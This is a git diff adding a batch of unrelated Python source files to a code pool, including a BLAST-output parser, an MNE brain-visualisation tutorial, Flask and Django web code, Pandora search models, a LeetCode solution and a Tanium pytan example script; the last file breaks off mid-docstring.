+ + widget = Widget() + widget.set_search(search) + + filter = TextureFilterWdg() + widget.add(filter) + + table = TableWdg(TextureSource.SEARCH_TYPE) + + widget.add(table) + return widget + + + + + + diff --git a/pool/shard008/Python/0078201_MODtree_bp_tbl-to-prot_targets.py b/pool/shard008/Python/0078201_MODtree_bp_tbl-to-prot_targets.py new file mode 100644 index 0000000000000000000000000000000000000000..387c069c688621b307033ec056ad0049d9374141 --- /dev/null +++ b/pool/shard008/Python/0078201_MODtree_bp_tbl-to-prot_targets.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 +import sys +import gzip +import re + +filename_tbl = sys.argv[1] +filename_base = re.sub(r'.bp\+\_tbl.gz', '', filename_tbl) + +blastp_Evalue_cutoff = 0.0001 +min_best_targets = 3 + + +def open_file(tmp_filename): + f = open(tmp_filename, 'r') + if tmp_filename.endswith('.gz'): + f = gzip.open(tmp_filename, 'rt') + return f + + +blastp_list = dict() +sys.stderr.write('Read %s\n' % filename_tbl) +f_bp = open_file(filename_tbl) +for line in f_bp: + if line.startswith('#'): + continue + + tokens = line.strip().split("\t") + q_id = tokens[0] + t_id = tokens[1] + evalue = float(tokens[-2]) + bits = float(tokens[-1]) + + if evalue > blastp_Evalue_cutoff: + continue + + if q_id not in blastp_list: + blastp_list[q_id] = dict() + + if t_id not in blastp_list[q_id]: + blastp_list[q_id][t_id] = bits + elif bits > blastp_list[q_id][t_id]: + blastp_list[q_id][t_id] = bits +f_bp.close() +sys.stderr.write('Total Sequences: %d\n' % len(blastp_list)) + +f_prot_targets = open('%s.prot_targets' % filename_base, 'w') +for tmp_h in blastp_list.keys(): + tmp_best_bits = max(blastp_list[tmp_h].values()) + tmp_target_list = \ + sorted(blastp_list[tmp_h].keys(), key=blastp_list[tmp_h].get, reverse=True) + tmp_target_str = ';'.join(["%s=%.1f" % (x, blastp_list[tmp_h][x]) for x in tmp_target_list]) + f_prot_targets.write('%s\t%.1f\t%s\n' % (tmp_h, tmp_best_bits, tmp_target_str)) +f_prot_targets.close() diff --git a/pool/shard008/Python/0078204_traffic_stream.py b/pool/shard008/Python/0078204_traffic_stream.py new file mode 100644 index 0000000000000000000000000000000000000000..9ad8d410ff92ee8be6e844a6d0017b29ab262149 --- /dev/null +++ b/pool/shard008/Python/0078204_traffic_stream.py @@ -0,0 +1,69 @@ +from module import AbstractModule +import time +import redis +from protocols.redis import HBRedisSubscriberFactory +from protocols.redis import HBRedisMessageHandlerFactory +from protocols.redis import HBRedisMessageHandler +from twisted.internet.endpoints import TCP4ClientEndpoint +from twisted.internet import reactor + + +class TrafficHandler(HBRedisMessageHandler): + + def _get_current_time(self): + return int(time.time() * 1000000) + + def execute(self): + r = redis.StrictRedis(host=self.configs['redis_host'], + port=self.configs['redis_port'], + db=self.configs['redis_db']) + redis_key = self.configs['redis_key'] + + score = self._get_current_time() + + # Remove traffic older than 1 second + result = r.zremrangebyscore(redis_key, '-inf', + score - 1 * 1000000) + self.log.msg('* Cleaned %d messages' % (result,)) + + result = r.zadd(redis_key, score, self.message) + if result: + self.log.msg('* Message with score %d sent successfully' + % (score,)) + else: + self.log.msg('Could not send message (%d)' % (score,)) + + +class TrafficStream(AbstractModule): + """ + Extension of AbstractModule class used to serialize items to Redis. + """ + def __init__(self): + AbstractModule.__init__(self) + + def _subscribe(self, redis): + self.redis_subscriber = redis + redis.subscribe() + + def configure(self, **configs): + self.configs = configs + self.channel = configs['traffic_sub_queue'] + self.start() + + def start(self, **params): + self.redis_endpoint = TCP4ClientEndpoint(reactor, + self.configs['redis_host'], + self.configs['redis_port']) + handler_factory = HBRedisMessageHandlerFactory(TrafficHandler, + **self.configs) + d = self.redis_endpoint.connect(HBRedisSubscriberFactory(self.channel, + handler_factory)) + + d.addCallback(self._subscribe) + + def stop(self, **params): + if self.redis_subscriber: + self.redis_subscriber.unsubscribe() + + +traffic_stream = TrafficStream() diff --git a/pool/shard008/Python/0078206_plot_visualize_stc.py b/pool/shard008/Python/0078206_plot_visualize_stc.py new file mode 100644 index 0000000000000000000000000000000000000000..d4632a119bbffdf7b02d3d30458e4938f29dee90 --- /dev/null +++ b/pool/shard008/Python/0078206_plot_visualize_stc.py @@ -0,0 +1,191 @@ +""" +.. _tut-viz-stcs: + +Visualize source time courses (stcs) +==================================== + +This tutorial focuses on visualization of +:term:`stcs `. + +.. contents:: Table of Contents + :local: + +Surface Source Estimates +------------------------ +First, we get the paths for the evoked data and the time courses (stcs). +""" + +import os +import os.path as op + +import numpy as np +import matplotlib.pyplot as plt + +import mne +from mne.datasets import sample +from mne.minimum_norm import apply_inverse, read_inverse_operator +from mne import read_evokeds + +data_path = sample.data_path() +sample_dir = os.path.join(data_path, 'MEG', 'sample') +subjects_dir = os.path.join(data_path, 'subjects') + +fname_evoked = data_path + '/MEG/sample/sample_audvis-ave.fif' +fname_stc = os.path.join(sample_dir, 'sample_audvis-meg') + +############################################################################### +# Then, we read the stc from file +stc = mne.read_source_estimate(fname_stc, subject='sample') + +############################################################################### +# This is a :class:`SourceEstimate ` object +print(stc) + +############################################################################### +# The SourceEstimate object is in fact a *surface* source estimate. MNE also +# supports volume-based source estimates but more on that later. +# +# We can plot the source estimate using the +# :func:`stc.plot ` just as in other MNE +# objects. Note that for this visualization to work, you must have ``mayavi`` +# and ``pysurfer`` installed on your machine. +initial_time = 0.1 +brain = stc.plot(subjects_dir=subjects_dir, initial_time=initial_time, + clim=dict(kind='value', lims=[3, 6, 9])) + +############################################################################### +# You can also morph it to fsaverage and visualize it using a flatmap + +# sphinx_gallery_thumbnail_number = 3 +stc_fs = mne.compute_source_morph(stc, 'sample', 'fsaverage', subjects_dir, + smooth=5, verbose='error').apply(stc) +brain = stc_fs.plot(subjects_dir=subjects_dir, initial_time=initial_time, + clim=dict(kind='value', lims=[3, 6, 9]), + surface='flat', hemi='split', size=(1000, 500), + smoothing_steps=5, time_viewer=False, + add_data_kwargs=dict( + colorbar_kwargs=dict(label_font_size=10))) +# You can save a movie like the one on our documentation website with: +# brain.save_movie(time_dilation=20, tmin=0.05, tmax=0.16, +# interpolation='linear', framerate=10) + +############################################################################### +# Note that here we used ``initial_time=0.1``, but we can also browse through +# time using ``time_viewer=True``. +# +# In case ``mayavi`` is not available, we also offer a ``matplotlib`` +# backend. Here we use verbose='error' to ignore a warning that not all +# vertices were used in plotting. +mpl_fig = stc.plot(subjects_dir=subjects_dir, initial_time=initial_time, + backend='matplotlib', verbose='error') + +############################################################################### +# +# Volume Source Estimates +# ----------------------- +# We can also visualize volume source estimates (used for deep structures). +# +# Let us load the sensor-level evoked data. We select the MEG channels +# to keep things simple. +evoked = read_evokeds(fname_evoked, condition=0, baseline=(None, 0)) +evoked.pick_types(meg=True, eeg=False).crop(0.05, 0.15) +# this risks aliasing, but these data are very smooth +evoked.decimate(10, verbose='error') + +############################################################################### +# Then, we can load the precomputed inverse operator from a file. +fname_inv = data_path + '/MEG/sample/sample_audvis-meg-vol-7-meg-inv.fif' +inv = read_inverse_operator(fname_inv) +src = inv['src'] +mri_head_t = inv['mri_head_t'] + +############################################################################### +# The source estimate is computed using the inverse operator and the +# sensor-space data. +snr = 3.0 +lambda2 = 1.0 / snr ** 2 +method = "dSPM" # use dSPM method (could also be MNE or sLORETA) +stc = apply_inverse(evoked, inv, lambda2, method) +del inv + +############################################################################### +# This time, we have a different container +# (:class:`VolSourceEstimate `) for the source time +# course. +print(stc) + +############################################################################### +# This too comes with a convenient plot method. +stc.plot(src, subject='sample', subjects_dir=subjects_dir) + +############################################################################### +# For this visualization, ``nilearn`` must be installed. +# This visualization is interactive. Click on any of the anatomical slices +# to explore the time series. Clicking on any time point will bring up the +# corresponding anatomical map. +# +# We could visualize the source estimate on a glass brain. Unlike the previous +# visualization, a glass brain does not show us one slice but what we would +# see if the brain was transparent like glass, and +# :term:`maximum intensity projection`) is used: +stc.plot(src, subject='sample', subjects_dir=subjects_dir, mode='glass_brain') + +############################################################################### +# You can also extract label time courses using volumetric atlases. Here we'll +# use the built-in ``aparc.a2009s+aseg.mgz``: + +fname_aseg = op.join(subjects_dir, 'sample', 'mri', 'aparc.a2009s+aseg.mgz') +label_names = mne.get_volume_labels_from_aseg(fname_aseg) +label_tc = stc.extract_label_time_course(fname_aseg, src=src) + +lidx, tidx = np.unravel_index(np.argmax(label_tc), label_tc.shape) +fig, ax = plt.subplots(1) +ax.plot(stc.times, label_tc.T, 'k', lw=1., alpha=0.5) +xy = np.array([stc.times[tidx], label_tc[lidx, tidx]]) +xytext = xy + [0.01, 1] +ax.annotate( + label_names[lidx], xy, xytext, arrowprops=dict(arrowstyle='->'), color='r') +ax.set(xlim=stc.times[[0, -1]], xlabel='Time (s)', ylabel='Activation') +for key in ('right', 'top'): + ax.spines[key].set_visible(False) +fig.tight_layout() + +############################################################################### +# And we can project these label time courses back to their original +# locations and see how the plot has been smoothed: + +stc_back = mne.labels_to_stc(fname_aseg, label_tc, src=src) +stc_back.plot(src, subjects_dir=subjects_dir, mode='glass_brain') + +############################################################################### +# Vector Source Estimates +# ----------------------- +# If we choose to use ``pick_ori='vector'`` in +# :func:`apply_inverse ` +fname_inv = data_path + '/MEG/sample/sample_audvis-meg-oct-6-meg-inv.fif' +inv = read_inverse_operator(fname_inv) +stc = apply_inverse(evoked, inv, lambda2, 'dSPM', pick_ori='vector') +brain = stc.plot(subject='sample', subjects_dir=subjects_dir, + initial_time=initial_time) + +############################################################################### +# Dipole fits +# ----------- +# For computing a dipole fit, we need to load the noise covariance, the BEM +# solution, and the coregistration transformation files. Note that for the +# other methods, these were already used to generate the inverse operator. +fname_cov = os.path.join(data_path, 'MEG', 'sample', 'sample_audvis-cov.fif') +fname_bem = os.path.join(subjects_dir, 'sample', 'bem', + 'sample-5120-bem-sol.fif') +fname_trans = os.path.join(data_path, 'MEG', 'sample', + 'sample_audvis_raw-trans.fif') + +############################################################################## +# Dipoles are fit independently for each time point, so let us crop our time +# series to visualize the dipole fit for the time point of interest. +evoked.crop(0.1, 0.1) +dip = mne.fit_dipole(evoked, fname_cov, fname_bem, fname_trans)[0] + +############################################################################## +# Finally, we can visualize the dipole. +dip.plot_locations(fname_trans, 'sample', subjects_dir) diff --git a/pool/shard008/Python/0078209_0001_initial.py b/pool/shard008/Python/0078209_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..3c52592a47d70c01cff4c3fdbe9ccca6cf22fd2f --- /dev/null +++ b/pool/shard008/Python/0078209_0001_initial.py @@ -0,0 +1,28 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.10.5 on 2017-02-20 06:50 +from __future__ import unicode_literals + +from django.db import migrations, models +import news.models + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Slider', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('image', models.ImageField(upload_to=news.models.image_path)), + ('status', models.BooleanField(default=False)), + ('title', models.CharField(blank=True, max_length=255, null=True)), + ('text', models.CharField(blank=True, max_length=255, null=True)), + ('read_more', models.BooleanField(default=False)), + ], + ), + ] diff --git a/pool/shard008/Python/0078210_entsort.py b/pool/shard008/Python/0078210_entsort.py new file mode 100644 index 0000000000000000000000000000000000000000..86e5551e7b765645f3489c62c03ae61cc8543ae1 --- /dev/null +++ b/pool/shard008/Python/0078210_entsort.py @@ -0,0 +1,39 @@ +import sys, os + + +def separador(c): + return c in " \t\n" + +def xifra(c): + return c in "0123456789" + +def llegirCaracter(): + return str(os.read(0,1),'utf-8') + +def escriureCaracter(c): + return os.write(1,bytes(c,'utf-8')) + +def llegirEnter(): + c=llegirCaracter() + while separador(c): + c=llegirCaracter() + e=0 + if c=='-': + signe=-1 + c=llegirCaracter() + elif c=='+': + signe=1 + c=llegirCaracter() + else: + signe=1 + while xifra(c): + e=e*10+int(c) + c=llegirCaracter() + return e*signe + + +def escriureEnterEspai(e): + for c in str(e): + escriureCaracter(c) + escriureCaracter(' ') + diff --git a/pool/shard008/Python/0078216_handler.py b/pool/shard008/Python/0078216_handler.py new file mode 100644 index 0000000000000000000000000000000000000000..142d44f92f69e3adb416bb70116da028dedbd482 --- /dev/null +++ b/pool/shard008/Python/0078216_handler.py @@ -0,0 +1,58 @@ +import os +import jinja2 +import webapp2 +import auth +from models import Users, Blogs, Sentiment, Comments + + +template_dir = os.path.join(os.path.dirname(__file__), "../templates") +jinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir), + autoescape=True) + + +class Handler(webapp2.RequestHandler): + """Main handler""" + def write(self, *a, **kw): + self.response.out.write(*a, **kw) + + def render_str(self, template, **params): + t = jinja_env.get_template(template) + return t.render(params) + + def render(self, template, **kw): + self.write(self.render_str(template, **kw)) + + def set_secure_cookie(self, name, val): + cookie_val = str(auth.make_secure_val(val)) + name = str(name) + self.response.headers.add_header( + "Set-Cookie", + "%s=%s; PATH=/" % (name, cookie_val) + ) + + def read_secure_cookie(self, name): + cookie_val = self.request.cookies.get(name) + return cookie_val and auth.check_secure_val(cookie_val) + + # Turns away unauthorized users + def user_page(self, origin_page, alt_page, **kw): + if self.user: + self.render(origin_page, **kw) + else: + self.redirect(alt_page) + + # Turns away authorized users + def anom_page(self, origin_page, alt_page, **kw): + if self.user: + self.redirect(alt_page) + else: + self.render(origin_page, **kw) + + # Log out (Deletes cookie) + def logout(self): + self.response.headers.add_header('Set-Cookie', 'username=; Path=/') + + def initialize(self, *a, **kw): + webapp2.RequestHandler.initialize(self, *a, **kw) + auth_user = self.read_secure_cookie('username') + self.user = auth_user and Users.by_username(auth_user) diff --git a/pool/shard008/Python/0078218_views.py b/pool/shard008/Python/0078218_views.py new file mode 100644 index 0000000000000000000000000000000000000000..0ffa2068cfea1f1332a39695853c723b51724616 --- /dev/null +++ b/pool/shard008/Python/0078218_views.py @@ -0,0 +1,187 @@ +from flask import ( + jsonify, + request, + render_template +) +from flask_login import ( + current_user, + login_required +) +from app.agency.api import agency_api_blueprint +from app.agency.api.utils import ( + get_active_users_as_choices, + get_letter_templates, + get_reasons +) +from app.models import Agencies, CustomRequestForms +import json +from sqlalchemy import asc + + +@login_required +@agency_api_blueprint.route('/active_users/', methods=['GET']) +def get_active_users(agency_ein): + """ + Retrieve the active users for the specified agency. + + :param agency_ein: Agency EIN (String) + + :return: JSON Object({"active_users": [('', 'All'), ('o8pj0k', 'John Doe')], + "is_admin": True}), 200 + """ + if current_user.is_agency_admin(agency_ein): + return jsonify({"active_users": get_active_users_as_choices(agency_ein), "is_admin": True}), 200 + + elif current_user.is_agency_active(agency_ein): + active_users = [ + ('', 'All'), + (current_user.get_id(), 'My Requests') + ] + return jsonify({"active_users": active_users, "is_admin": False}), 200 + + else: + return jsonify({}), 404 + + +@login_required +@agency_api_blueprint.route('/reasons/', methods=['GET']) +@agency_api_blueprint.route('/reasons//', methods=['GET']) +def get_agency_reasons(agency_ein, reason_type=None): + """Retrieve an agencies determination reasons for Denials, Closings, and Re-Openings + + Args: + agency_ein (str): Agency EIN + reason_type (str): One of ("denial", "closing", "re-opening") + All other determination types do not have reasons. + + Returns: + JSON Object (dict): Keys are the reason type, values are an array of tuples (id, title) + + """ + return jsonify(get_reasons(agency_ein, reason_type)) + + +@login_required +@agency_api_blueprint.route('/letter_templates/', methods=['GET']) +@agency_api_blueprint.route('/letter_templates//', methods=['GET']) +def get_agency_letter_templates(agency_ein, letter_type=None): + """ + Retrieve letter templates for the specified agency. If letter type is provided, only those templates will be + provided, otherwise all templates will be returned. + + :param agency_ein: Agency EIN (String) + :param letter_type: One of "acknowledgment", "denial", "closing", "letter", "extension", "re-opening". + + :return: JSON Object (keys are template types, values are arrays of tuples (id, name)) + """ + return jsonify(get_letter_templates(agency_ein, letter_type)) + + +@agency_api_blueprint.route('/custom_request_forms/', methods=['GET']) +def get_custom_request_form_options(agency_ein): + """ + Retrieve the custom request forms for the specified agency. + + :param agency_ein: Agency EIN (String) + :return: JSON Object (keys are the id of the custom request form, values are the names of the forms) + """ + custom_request_forms = CustomRequestForms.query.with_entities(CustomRequestForms.id, + CustomRequestForms.form_name, + CustomRequestForms.repeatable, + CustomRequestForms.category, + CustomRequestForms.minimum_required).filter_by( + agency_ein=agency_ein).order_by(asc(CustomRequestForms.category), asc(CustomRequestForms.id)).all() + return jsonify(custom_request_forms), 200 + + +@agency_api_blueprint.route('/custom_request_form_fields', methods=['GET']) +def get_custom_request_form_fields(): + """ + Get the custom request form field definitions based on form id and agency ein + :return: JSON object containing the form field definitions + """ + custom_request_form = CustomRequestForms.query.filter_by(id=request.args['form_id'], + agency_ein=request.args['agency_ein']).one() + repeatable_counter = json.loads(request.args['repeatable_counter']) + instance_id = custom_request_form.repeatable - repeatable_counter[str(custom_request_form.id)] + 1 + + form_template = render_template('custom_request_form_templates/form_description_template.html', + form_description=custom_request_form.form_description) + data = {} + character_counters = {} + popovers = {} + tooltips = {} + error_messages = {} + for field in custom_request_form.field_definitions: + for key, value in field.items(): + field_text = key + field_name = value['name'] + field_type = value['type'] + field_values = value.get('values', None) + field_required = value.get('required', False) + min_length = value.get('min_length', None) + max_length = value.get('max_length', None) + character_counter = value.get('character_counter', None) + placeholder = value.get('placeholder', None) + popover = value.get('popover', None) + tooltip = value.get('tooltip', None) + help_text = value.get('help_text', None) + error_message = value.get('error_message', None) + past_date_invalid = value.get('past_date_invalid', None) + current_date_invalid = value.get('current_date_invalid', None) + future_date_invalid = value.get('future_date_invalid', None) + + if character_counter: + character_counter_id = field_name + "-" + str(instance_id) + character_counters[character_counter_id] = {"min_length": min_length, + "max_length": max_length} + + if popover: + popover_id = field_name + '-' + str(instance_id) + popovers[popover_id] = popover + + if tooltip: + tooltip_id = field_name + '-' + str(instance_id) + tooltips[tooltip_id] = tooltip + + if error_message: + error_message_id = field_name + '-' + str(instance_id) + error_messages[error_message_id] = error_message + + form_template = form_template + render_template( + 'custom_request_form_templates/{}_template.html'.format(field_type), field_text=field_text, + field_name=field_name, options=field_values, field_required=field_required, + min_length=min_length, max_length=max_length, instance_id=instance_id, placeholder=placeholder, + character_counter=character_counter, tooltip=tooltip, help_text=help_text, + past_date_invalid=past_date_invalid, current_date_invalid=current_date_invalid, + future_date_invalid=future_date_invalid) + '\n' + data['form_template'] = form_template + data['character_counters'] = character_counters + data['popovers'] = popovers + data['tooltips'] = tooltips + data['error_messages'] = error_messages + return jsonify(data), 200 + + +@agency_api_blueprint.route('/request_types/', methods=['GET']) +def get_request_types(agency_ein): + """ + Retrieve the request types (custom request form names) for the specified agency. + + :param agency_ein: Agency EIN (String) + + :return: JSON Object({"request_type": [('', 'All'), ('Form Name', 'Form Name')]}), 200 + """ + if current_user.is_agency_active(agency_ein): + agency = Agencies.query.filter_by(ein=agency_ein).one_or_none() + if agency is not None and agency.agency_features['custom_request_forms']['enabled']: + request_types = [ + (custom_request_form.form_name, custom_request_form.form_name) + for custom_request_form in CustomRequestForms.query.filter_by( + agency_ein=agency_ein + ).order_by(asc(CustomRequestForms.category), asc(CustomRequestForms.id)).all() + ] + request_types.insert(0, ("", "All")) + return jsonify({"request_types": request_types}), 200 + + return jsonify({}), 404 diff --git a/pool/shard008/Python/0078221_utils.py b/pool/shard008/Python/0078221_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..6f71606eb2532ba931c75f294149819f3454b6af --- /dev/null +++ b/pool/shard008/Python/0078221_utils.py @@ -0,0 +1,27 @@ +import requests +import socket +import json +from django.http import HttpRequest +from django.http import HttpResponse, HttpResponseRedirect +from django.db import connection +from django.contrib.auth.models import User +#function in order to know wich machine/server it's used for POST and GET methods (/api/....) + +def api_post(resource, params=None, files=None): + server = socket.gethostbyname(socket.getfqdn()) + url = "http://{}{}".format(server, resource) + print(url) + return requests.post(url, params=params, files=files) + + +def user_can_edit_demo(user_email, demo_id): + settings = {'demo_id' : demo_id} + response_api = api_post("/api/demoinfo/demo_get_editors_list", settings) + editors_list = response_api.json() + for editor in editors_list.get('editor_list'): + if editor.get('mail') == user_email: + return True + return False + + + \ No newline at end of file diff --git a/pool/shard008/Python/0078222_search.py b/pool/shard008/Python/0078222_search.py new file mode 100644 index 0000000000000000000000000000000000000000..55fd6858541963ad4781a3ef3e14345b87e972bf --- /dev/null +++ b/pool/shard008/Python/0078222_search.py @@ -0,0 +1,96 @@ +from ._base import Field, PandoraModel + + +class SearchResultItem(PandoraModel): + + score = Field("score") + token = Field("musicToken") + + @property + def is_song(self): + return isinstance(self, SongSearchResultItem) + + @property + def is_artist(self): + return isinstance( + self, ArtistSearchResultItem + ) and self.token.startswith("R") + + @property + def is_composer(self): + return isinstance( + self, ArtistSearchResultItem + ) and self.token.startswith("C") + + @property + def is_genre_station(self): + return isinstance(self, GenreStationSearchResultItem) + + def create_station(self): + raise NotImplementedError + + @classmethod + def from_json(cls, api_client, data): + if data["musicToken"].startswith("S"): + return SongSearchResultItem.from_json(api_client, data) + elif data["musicToken"].startswith(("R", "C")): + return ArtistSearchResultItem.from_json(api_client, data) + elif data["musicToken"].startswith("G"): + return GenreStationSearchResultItem.from_json(api_client, data) + else: + raise NotImplementedError( + "Unknown result token type '{}'".format(data["musicToken"]) + ) + + +class ArtistSearchResultItem(SearchResultItem): + + score = Field("score") + token = Field("musicToken") + artist = Field("artistName") + likely_match = Field("likelyMatch", default=False) + + def create_station(self): + return self._api_client.create_station(artist_token=self.token) + + @classmethod + def from_json(cls, api_client, data): + return super(SearchResultItem, cls).from_json(api_client, data) + + +class SongSearchResultItem(SearchResultItem): + + score = Field("score") + token = Field("musicToken") + artist = Field("artistName") + song_name = Field("songName") + + def create_station(self): + return self._api_client.create_station(track_token=self.token) + + @classmethod + def from_json(cls, api_client, data): + return super(SearchResultItem, cls).from_json(api_client, data) + + +class GenreStationSearchResultItem(SearchResultItem): + + score = Field("score") + token = Field("musicToken") + station_name = Field("stationName") + + def create_station(self): + return self._api_client.create_station(search_token=self.token) + + @classmethod + def from_json(cls, api_client, data): + return super(SearchResultItem, cls).from_json(api_client, data) + + +class SearchResult(PandoraModel): + + nearest_matches_available = Field("nearMatchesAvailable") + explanation = Field("explanation") + songs = Field("songs", model=SongSearchResultItem) + artists = Field("artists", model=ArtistSearchResultItem) + genre_stations = Field("genreStations", model=GenreStationSearchResultItem) diff --git a/pool/shard008/Python/0078224_ceres.py b/pool/shard008/Python/0078224_ceres.py new file mode 100644 index 0000000000000000000000000000000000000000..b8f4aa4bdf759346be190fde6545866a98125f24 --- /dev/null +++ b/pool/shard008/Python/0078224_ceres.py @@ -0,0 +1,90 @@ + + +import sys, os.path + +browserok=1 +try: + import webbrowser +except: + browserok=0 + pass + +def showhelp(): + if browserok==0: + print "Webbrowser module not found. Python probably to old." + else: + webbrowser.open_new("file://"+os.path.abspath(os.path.dirname(sys.argv[0]))+"/../doc/cereshelp.html") + + +if len(sys.argv)>1 and (sys.argv[1]=="--help" or sys.argv[1]=="-h" or sys.argv[1]=="-help"): + print + print "Usage: %s [-c configfile] [window-size] [infile]" % sys.argv[0] + print + print "-c configfile: If spesified, 'configfile' is used instead of '~/.ceres'." + print + print "window-size: 512, 1024, 2048 or 4096" + print " If not spesified, the default value in '~/.ceres' is used." + print " If window-size is neither spesified in '~/.ceres', nor" + print " on the command-line, the default-size of 1024 is used" + print + print "infile: All filetypes handled by libsndfile is supported." + print " Ceres is able to handle 8bit/16bit/24bit/32bit/float/double frametypes" + print " and up to 8 channels" + print + sys.exit(0) + + +conffile=os.path.expanduser("~/.ceres") +try: + confnum=sys.argv.index("-c") + try: + conffile=os.path.expanduser(sys.argv.pop(confnum+1)) + except: + conffile=os.path.expanduser("~/.ceres") + sys.argv.remove("-c") +except: + pass + + +#sys.path.append(os.path.dirname(os.environ["_"])+"/../lib/") +sys.path.insert(0,os.path.abspath(os.path.dirname(sys.argv[0]))+"/../lib/") +#print sys.argv[0] +#print os.path.abspath(sys.argv[0]+"/../lib/") +import ceresc +import ceresconfig + +ceresconfig.ceresConfigStart(conffile) + + + + +windowsize=ceresconfig.getVar("ws_512")*512 +if windowsize==0: + windowsize=ceresconfig.getVar("ws_1024")*1024 +if windowsize==0: + windowsize=ceresconfig.getVar("ws_2048")*2048 +if windowsize==0: + windowsize=ceresconfig.getVar("ws_4096")*4096 + + + + +for arg in sys.argv: + if arg=="512" or arg=="1024" or arg=="2048" or arg=="4096": + windowsize=int(arg) + sys.argv.remove(arg) + break + + + +if len(sys.argv)>1: + infile=sys.argv[1] +else: + infile="++////bzzzt_nofile" + + + +ceresc.CONFIG_init(ceresconfig.getVar,ceresconfig.showConfig) + +ceresc.ceresmain(windowsize,infile) + diff --git a/pool/shard008/Python/0078227_714_Best_Time_to_Buy_and_Sell_Stock_with_Transaction_Fee.py b/pool/shard008/Python/0078227_714_Best_Time_to_Buy_and_Sell_Stock_with_Transaction_Fee.py new file mode 100644 index 0000000000000000000000000000000000000000..85661a1a56975a778a106e2888c6fb62937b285c --- /dev/null +++ b/pool/shard008/Python/0078227_714_Best_Time_to_Buy_and_Sell_Stock_with_Transaction_Fee.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +class Solution: + def maxProfit(self, prices, fee: int) -> int: + dp = [0, -prices[0]] + for p in prices: + dp[0], dp[1] = max(dp[0], dp[1]+p-fee), max(dp[1], dp[0]-p) + return max(dp) + + def maxProfit_greedy(self, prices, fee): + mi, profit = float('inf'), 0 + for p in prices: + if p < mi: + mi = p + elif p > mi+fee: + profit += (p-mi-fee) + mi = (p-fee) + return profit + +prices = [1,3,2,8,4,9] +fee = 2 +sol = Solution() +print(sol.maxProfit(prices, fee)) +print(sol.maxProfit_greedy(prices, fee)) diff --git a/pool/shard008/Python/0078229_invalid_export_resultset_csv_bad_expand_type_code.py b/pool/shard008/Python/0078229_invalid_export_resultset_csv_bad_expand_type_code.py new file mode 100644 index 0000000000000000000000000000000000000000..37e04f23f3bb3253554d028ceaa329533ad6e9bb --- /dev/null +++ b/pool/shard008/Python/0078229_invalid_export_resultset_csv_bad_expand_type_code.py @@ -0,0 +1,86 @@ +# import the basic python packages we need +import os +import sys +import tempfile +import pprint +import traceback + +# disable python from generating a .pyc file +sys.dont_write_bytecode = True + +# change me to the path of pytan if this script is not running from EXAMPLES/PYTAN_API +pytan_loc = "~/gh/pytan" +pytan_static_path = os.path.join(os.path.expanduser(pytan_loc), 'lib') + +# Determine our script name, script dir +my_file = os.path.abspath(sys.argv[0]) +my_dir = os.path.dirname(my_file) + +# try to automatically determine the pytan lib directory by assuming it is in '../../lib/' +parent_dir = os.path.dirname(my_dir) +pytan_root_dir = os.path.dirname(parent_dir) +lib_dir = os.path.join(pytan_root_dir, 'lib') + +# add pytan_loc and lib_dir to the PYTHONPATH variable +path_adds = [lib_dir, pytan_static_path] +[sys.path.append(aa) for aa in path_adds if aa not in sys.path] + +# import pytan +import pytan + +# create a dictionary of arguments for the pytan handler +handler_args = {} + +# establish our connection info for the Tanium Server +handler_args['username'] = "Administrator" +handler_args['password'] = "Tanium2015!" +handler_args['host'] = "10.0.1.240" +handler_args['port'] = "443" # optional + +# optional, level 0 is no output except warnings/errors +# level 1 through 12 are more and more verbose +handler_args['loglevel'] = 1 + +# optional, use a debug format for the logging output (uses two lines per log entry) +handler_args['debugformat'] = False + +# optional, this saves all response objects to handler.session.ALL_REQUESTS_RESPONSES +# very useful for capturing the full exchange of XML requests and responses +handler_args['record_all_requests'] = True + +# instantiate a handler using all of the arguments in the handler_args dictionary +print "...CALLING: pytan.handler() with args: {}".format(handler_args) +handler = pytan.Handler(**handler_args) + +# print out the handler string +print "...OUTPUT: handler string: {}".format(handler) + +# setup the arguments for the handler() class +kwargs = {} +kwargs["export_format"] = u'csv' +kwargs["expand_grouped_columns"] = u'bad' + +# setup the arguments for handler.ask() +ask_kwargs = { + 'qtype': 'manual', + 'sensors': [ + "Computer Name" + ], +} + +# ask the question that will provide the resultset that we want to use +print "...CALLING: handler.ask() with args {}".format(ask_kwargs) +response = handler.ask(**ask_kwargs) + +# store the resultset object as the obj we want to export +kwargs['obj'] = response['question_results'] + +# export the object to a string +print "...CALLING: handler.export_obj() with args {}".format(kwargs) +try: + handler.export_obj(**kwargs) +except Exception as e: + print "...EXCEPTION: {}".format(e) + # this should throw an exception of type: pytan.exceptions.HandlerError + # uncomment to see full exception + # traceback.print_exc(file=sys.stdout) \ No newline at end of file diff --git a/pool/shard008/Python/0078230_valuationfunctions.py b/pool/shard008/Python/0078230_valuationfunctions.py new file mode 100644 index 0000000000000000000000000000000000000000..f0b618c3ed580fdbc179dd12f367062ae4a2b637 --- /dev/null +++ b/pool/shard008/Python/0078230_valuationfunctions.py @@ -0,0 +1,88 @@ +"""In this file, we define the stock valuation functions of the agents""" + +import numpy as np +from stockmarket.functions import npv_growing_perpetuity + + +def extrapolate_average_profit(stock, memory, **_): + """ + + :param stock: + :param memory: + :param _: + :return: + """ + prof_history = stock.firm.profit_history[-memory:] + expected_profit = np.mean(prof_history) + value = npv_growing_perpetuity(expected_profit * stock.firm.dividend_rate) + return np.divide(value, stock.amount) + + +def extrapolate_growth_average_profit(stock, memory, **_): + pass + # profit_growth_history = stock.firm.profit_growth_history + # expected_growth = np.mean(profit_growth_history[len(profit_growth_history)-memory:len(profit_growth_history)]) + # value = calculate_npv(stock.firm.profit * stock.firm.dividend_rate, growth_rate=expected_growth) + # return np.divide(value, stock.amount) + + +def extrapolate_ma_price(stock, s, l, **_): + # TODO + """ + + Parameters + ---------- + stock + s + l + _ + + Returns + ------- + + """ + price_history = stock.price_history + if len(price_history) >= l: + short_ma = sum(price_history[-s:]) / s + long_ma = sum(price_history[-l:]) / l + return short_ma+((short_ma-long_ma)/(l-s)) + else: + return None + + +def predict_by_moving_avg_growth(stock, s, **_): + """Returns predicted value of a stock + + Predicts the next 